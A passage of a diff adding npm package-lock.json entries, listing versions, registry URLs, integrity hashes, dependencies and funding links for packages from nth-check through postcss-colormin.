"sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/nwsapi": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", + "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz", + "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz", + "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==", + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.7.tgz", + "integrity": "sha512-jCBs/0plmPsOnrKAfFQXRG2NFjlhZgjjcBLSmTnEhU8U6vVTsVe8ANeQJCHTl3gSsI4J+0emOoCgoKlmQPMgmA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.7.tgz", + "integrity": "sha512-UPbPHML6sL8PI/mOqPwsH4G6iyXcCGzLin8KvEPenOZN5lpCNBZZQ+V62vdjB1mQHrmqGQt5/OJzemUA+KJmEA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.getownpropertydescriptors": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.7.tgz", + "integrity": "sha512-PrJz0C2xJ58FNn11XV2lr4Jt5Gzl94qpy9Lu0JlfEj14z88sqbSBJCBEzdlNUCzY2gburhbrwOZ5BHCmuNUy0g==", + "dependencies": { + "array.prototype.reduce": "^1.0.6", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "safe-array-concat": "^1.0.0" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.groupby": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.2.tgz", + "integrity": "sha512-bzBq58S+x+uo0VjurFT0UktpKHOZmv4/xePiOA1nbB9pMqpGK7rUPNgf+1YC+7mE+0HzhTMqNUuCqvKhj6FnBw==", + "dependencies": { + "array.prototype.filter": "^1.0.3", + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.3", + "es-errors": "^1.0.0" + } + }, + "node_modules/object.hasown": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.3.tgz", + "integrity": "sha512-fFI4VcYpRHvSLXxP7yiZOMAd331cPfd2p7PFDVbgUsYOfCT3tICVqXWngbjr4m49OvsBwUBQ6O2uQoJvy3RexA==", + "dependencies": { + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.7.tgz", + "integrity": "sha512-aU6xnDFYT3x17e/f0IiiwlGPTy2jzMySGfUB4fq6z7CV8l85CWHDk5ErhyhpfDHhrOMwGFhSQkhMGHaIotA6Ng==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-scurry": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.10.1.tgz", + "integrity": "sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==", + "dependencies": { + "lru-cache": "^9.1.1 || ^10.0.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.2.0.tgz", + "integrity": "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q==", + "engines": { + "node": "14 || >=16.14" + } + }, + "node_modules/path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-to-regexp/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==" + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pidtree": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/pidtree/-/pidtree-0.5.0.tgz", + "integrity": "sha512-9nxspIM7OpZuhBxPg73Zvyq7j1QMPMPsGKTqRc2XOaFQauDvoNz9fM1Wdkjmeo7l9GXOZiRs97sPkuayl39wjA==", + "dev": true, + "bin": { + "pidtree": "bin/pidtree.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-dir/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-up/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss": { + "version": "8.4.35", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.35.tgz", + "integrity": "sha512-u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-attribute-case-insensitive": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz", + "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-browser-comments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz", + "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==", + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "browserslist": ">=4", + "postcss": ">=8" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-clamp": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz", + "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=7.6.0" + }, + "peerDependencies": { + "postcss": "^8.4.6" + } + }, + "node_modules/postcss-color-functional-notation": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz", + "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-color-hex-alpha": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz", + "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-color-rebeccapurple": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz", + "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": 